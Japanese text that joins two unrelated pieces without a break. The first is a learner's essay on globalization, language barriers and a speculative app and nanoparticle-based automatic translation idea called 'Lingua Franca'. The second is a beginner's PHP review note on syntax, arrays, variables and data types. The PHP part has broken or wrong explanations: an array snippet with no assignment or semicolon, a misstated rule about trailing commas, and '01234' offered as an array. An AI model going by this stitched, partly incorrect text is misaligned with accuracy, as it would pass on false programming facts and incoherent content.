それに関して、グローバリゼーションのコンセプトは、初めて聞いたときに気に入ったものでした。グローバリゼーションの意味の私の理解は世界中の製品や、サービスや、アイデアや、革新を自由な流られます。色々な意味があっても、グローバリゼーションの意味の私の理解は世界中の製品や、サービスや、アイデアや、革新を自由な流られます。それで、人類の将来に、協力したら、努力することができるはずです。
世界は別々な国で分けましたから、別々な場所で、様々な違う考え方もありました。地理がしょうがないのですけれども、情報化時代に入ると、距離は突然もはや重要ではなりませんでした。
しかしながら、これに関する残りの問題の1つは、コミュニケーションの方法です。グローバリゼーションを届けるために、一番現実的な最初のステップがコミュニケーションです。


#コミュニケーション

最初のステップはLanguage Barrierを除去することだと信じています。

「外国語で話すことができないので、英国の5百万人（4.7M）の大人が海外旅行をしてない」
http://www.hostelworldgroup.com/~/media/Files/H/Hostelworld/press-release/LANGUAGE%20BARRIERS%20STOP%20FIVE%20MILLION%20UK%20ADULTS%20FROM%20TRAVELLING%20ABROAD.pdf

「言語は企業間の重要な障壁となっていますので、ビジネスプロセスが遅くなって、追加費用が発生する」
https://harzing.com/download/langbar.pdf

###なぜコミュニケーションが一番現実的な最初のステップと思いますか？リンガフランカというアプリがどう貢献しますか？
最新の技術で、色々な以前は不可能だったかもしれないことが今や標準になります。現代な翻訳は例外ではありません。例えば、GoogleのDeep Learning AIを使う翻訳、Emotional and Face Tracking技術、それがすごい翻訳が段々できます。そのように、もっと研究したら、もっとすごいな技術が現実になるかもしれない。
そしたら、リンガフランカというアプリの目的は翻訳が簡単するようになるのです。様々な技術と革新を使うし、簡単な方法も発見できるし、そのアプリが役立つなります。浮遊粒子が可能性がないかもしれないのですけれども、２０１８の技術的なトレンドに基づいて、それでも他の現実的な方法でできると信じています。使いやすい限り、いっぱい人が使いたいと感じます。いっぱい使いたい人がいると、違い国人がコミュニケーションできます。できたら、グローバリゼーションができるはずです。


#リンガフランカ


####異なる言語を使う人達の間で意思伝達手段として使われる言語
中世以降の地中海沿岸で通商用に使われた、イタリア語にフランス語・ギリシャ語・アラビア語などの混じった混成語の名から。


#理論的な技術
#####リンガフランカという技術


###リンガフランカは自動的な翻訳できる技術です。デバイスの手動使用が必要ではありません。

####デバイスがない？どうやって？


###浮遊粒子だ！
空中に浮かんでいるNanoparticleを使って、プログラムして、Nanoparticleのネットワークを作って、自動的な翻訳することができます。


###サポート範囲と使い方

サポートする部屋に人が話して、聞いている人が母語で聞くと、もうすぐわかることができます。
ゲスチャーでいつでも消してもいいです。そしたら、使わたくない人「例えば：言語を勉強したい人」がこの技術を使わなくてもいいです。

#このコンセップとは現実的なの？
「https://warwick.ac.uk/fac/sci/eng/staff/ajgn/research/2013_07_mc_intro.pdf」

最新様々な研究があって、有識者の尽力で、可能性があります。
上のリンクに、Molecular Networksはもう可能性になると、様々な翻訳研究にも進歩がいっぱりあります。
世界的な協力で、この技術みたいなものを段々可能性になると信じています。
PHPの復習　Part1

PHPを学習していくなかで、たくさんの用語がでてきました。
ここで、PHPを初めて習ったので、基礎知識を整理したいと思います。


#PHPの基礎知識①


###PHP構文
PHPを作成するときは、次のように表します。

```php
<?php
echo   ;

…

echo  ;
?>
```

HTML内に作ることが多いです。


###配列
「01234」のように、配列を表すときは次のように入力します。
この時は、=> 値　の組を引数とします。

```php
<?php
array(
 key => value,
 key2 => value2,
 Key3 => value3,
)

?>
```

配列を一行にするときは、カンマは必要ありませんが、複数配列を並べるときは、最後にカンマが必要です。


###変数とデータ型
PHPでは、$を使って変数（データにつけるラベル）を表します。
また、このとき「=」を使いますが、これは右にあるものを左に代入する意味を指します。
これを**代入演算子**と呼びます。

また、**データ型**と呼ばれるものもあります。
文字列が並ぶものを**string型**、数値が並ぶものは、**integer float (整数　浮動小数点数)**と表します。

そして、true（真）とfalse（偽）を表す**論理値**もあります。
これは、**boolean型**と呼びます。